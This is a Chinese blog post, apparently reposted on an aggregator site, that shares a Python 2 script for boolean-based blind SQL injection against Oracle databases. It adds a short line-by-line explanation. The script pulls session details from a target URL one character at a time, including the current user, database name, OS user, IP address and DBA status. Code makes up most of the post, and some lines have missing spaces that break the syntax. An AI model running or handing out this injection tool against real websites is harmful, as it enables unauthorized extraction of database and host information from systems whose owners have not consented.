SQL注入盲注布尔类型脚本
Posted 逢人斗智斗勇
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入盲注布尔类型脚本相关的知识,希望对你有一定的参考价值。
最近忙成dog啦啦啦啦啦啦~!然后也遇到很多挫折,这两天就跟一个小伙伴在搞一个东西,然后他写了个脚本给我。下面就是他的脚本,我进行了理解,如果我理解错了,欢迎在后台指正,谢谢!爱你哟
# -*- coding: UTF-8 -*-
#!/usr/bin/env python
import requests
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
url = "url" #如http://www.a.com/xxx/xxx/ys.php?id=
key = "{关键字}"
def payload(dbinfo):
len = 0
list=[]
result = ""
print "----Fetching: "+dbinfo+"----"
for i in range(100):
pl = url + "{参数}' and length((SYS_CONTEXT('USERENV','"+dbinfo+"'))) ="+str(i)+" AND '1'='1"
#print pl
if key in myHttpRequest(pl):
len = i
break
print "The size of "+dbinfo+" is:"+str(len)
if len>0:
for l in range(len):
seq = l+1;
for j inrange(48,122):
sqli = url + "{参数}' andASCII(SUBSTR((SYS_CONTEXT('USERENV','"+dbinfo+"')),"+str(seq)+",1))="+str(j)+"AND '1'='1"
ifkey in myHttpRequest(sqli):
#print sqli
print str(seq)+" of "+str(len)+" char:"+str(chr(j))
list.append(str(chr(j)))
break
for i in list:
result += str(i)
print dbinfo+": "+result
else:
print "nothing found!"
def myHttpRequest(payload):
result =requests.get(payload,timeout=20,allow_redirects=True,verify=False).content
return result
def check(keyword):
payload(keyword)
def main():
check("CURRENT_USER")
check("DB_NAME")
check("EXTERNAL_NAME")
check("CURRENT_SCHEMAID")
check("AUTHENTICATION_TYPE")
check("ISDBA")
check("OS_USER")
check("IP_ADDRESS")
check("HOST")
check("TERMINAL")
if __name__ == "__main__":
main()
#pl = url + "{参数}' andlength((SYS_CONTEXT('USERENV','CURRENT_USER'))) = 5 AND '1'='1"
#print pl
#print myHttpRequest(pl)
其实是这样的url = "url" #如http://www.a.com/xxx/xxx/ys.php?id=
这里是声明了url然后在下面可以直接调用。
然后开始对它进行一个拼接
def payload(dbinfo):
len = 0
list=[]
result =""
print"----Fetching: "+dbinfo+"----"
for i inrange(100):
pl = url +"参数' andlength((SYS_CONTEXT('USERENV','"+dbinfo+"'))) = "+str(i)+"AND '1'='1"
#print pl
if key inmyHttpRequest(pl):
len = i
break
最后写一个break跳出这个循环的过程。
def main():
check("CURRENT_USER")
check("DB_NAME")
check("EXTERNAL_NAME")
check("CURRENT_SCHEMAID")
check("AUTHENTICATION_TYPE")
check("ISDBA")
check("OS_USER")
check("IP_ADDRESS")
check("HOST")
check("TERMINAL")
这里的意思就是获取哪些信息。
if __name__ == "__main__":
main()
#pl= url + "{参数}' and length((SYS_CONTEXT('USERENV','CURRENT_USER'))) = 5 AND'1'='1"
#printpl
#printmyHttpRequest(pl)
最后打印出这些信息出来
你的动力
我的前进方向
以上是关于SQL注入盲注布尔类型脚本的主要内容,如果未能解决你的问题,请参考以下文章